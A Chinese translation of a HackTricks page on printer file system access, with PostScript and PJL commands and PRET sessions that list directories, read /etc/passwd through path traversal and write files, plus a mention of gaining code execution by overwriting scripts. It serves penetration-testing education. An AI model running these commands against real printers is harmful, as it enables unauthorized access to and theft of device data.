7.7 KiB
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品——The PEASS Family
-
加入💬 Discord群组或电报群组,或者关注我在Twitter上的🐦@carlospolopm。
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。
后记
检索敏感信息,如配置文件或存储的打印作业,通过编写文件实现RCE(例如编辑rc脚本或替换二进制文件)。PostScript和PJL定义了合法的语言结构,用于访问文件系统。
使用PostScript访问文件系统(请注意,它可能会被限制为无害操作):
> /str 256 string def (%*%../*) % list all files
> {==} str filenameforall
< (%disk0%../webServer/home/device.html)
< (%disk0%../webServer/.java.login.config)
< (%disk0%../webServer/config/soe.xml)
> /byte (0) def % read from file
> /infile (../../../etc/passwd) (r) file def
> { infile read {byte exch 0 exch put
> (%stdout) (w) file byte writestring}
> {infile closefile exit} ifelse
> } loop
< root::0:0::/:/bin/dlsh
> /outfile (test.txt) (w+) file def}} % write to file
> outfile (Hello World!) writestring
> outfile closefile
您可以使用PETT命令:ls
,get
,put
,append
,delete
,rename
,find
,mirror
,touch
,mkdir
,cd
,pwd
,chvol
,traversal
,format
,fuzz
和df
:
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ../..
d - Jan 1 1970 (created Jan 1 1970) bootdev
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi_ss
d - Jan 1 1970 (created Jan 1 1970) dsk_ram0
d - Jan 1 1970 (created Jan 1 1970) etc
d - Jan 1 1970 (created Jan 1 1970) tmp
d - Jan 1 1970 (created Jan 1 1970) webServer
PJL
PJL(Printer Job Language)是一种用于控制打印机的命令语言。它允许用户发送指令来管理打印任务、配置打印机设置以及执行其他操作。PJL命令通常通过网络发送给打印机,因此在进行打印机渗透测试时,了解和利用PJL命令是非常有用的。
PJL命令的基本结构
PJL命令由两部分组成:指令名称和参数。指令名称用于指定要执行的操作,而参数则提供了执行操作所需的额外信息。PJL命令使用ASCII字符编码,并以换行符作为命令的结束符。
PJL命令的常见用途
以下是一些常见的PJL命令及其用途:
@PJL INFO CONFIG
:获取打印机的配置信息。@PJL INFO VARIABLES
:获取打印机的变量信息。@PJL INFO STATUS
:获取打印机的状态信息。@PJL SET
:设置打印机的配置参数。@PJL USTATUS
:启用或禁用打印机的状态通知功能。
利用PJL命令进行文件系统访问
在某些情况下,PJL命令可以被利用来访问打印机的文件系统。通过发送特定的PJL命令,可以执行文件操作,如列出目录、读取文件内容、创建文件等。这种方法可以用于获取敏感信息或在目标系统上执行恶意操作。
PJL命令的安全性考虑
由于PJL命令可以对打印机进行广泛的控制,因此在进行打印机渗透测试时,需要谨慎使用PJL命令。未经授权的访问和滥用PJL命令可能导致打印机的故障或数据泄露。因此,在使用PJL命令时,务必遵循合法和道德的准则,并获得适当的授权。
> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 (list all files)
< .\:\:TYPE=DIR
< ..\:\:TYPE=DIR
< PostScript TYPE=DIR
< PJL TYPE=DIR
< saveDevice TYPE=DIR
< webServer TYPE=DIR
> @PJL FSQUERY NAME="0:\..\..\etc\passwd" (read from file)
< @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
> @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
< root::0:0::/:/bin/dlsh
> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt" (write to file)
> Hello World!
然而,许多打印机不支持使用PJL访问文件。
您可以使用PRET命令:ls
,get
,put
,append
,delete
,find
,mirror
,touch
,mkdir
,cd
,pwd
,chvol
,traversal
,format
,fuzz
和df
:
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ..
d - bootdev
d - dsk_jdi
d - dsk_jdi_ss
d - dsk_ram0
d - etc
d - lrt
d - tmp
d - webServer
d - xps
了解使用PostScript和PJL限制可能绕过沙箱的更多信息,请访问 http://hacking-printers.net/wiki/index.php/File_system_access
☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?想要在HackTricks中看到你的公司广告吗?或者你想要获取PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品——The PEASS Family
-
加入 💬 Discord群组 或 Telegram群组 或 关注我在Twitter上的🐦@carlospolopm.
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。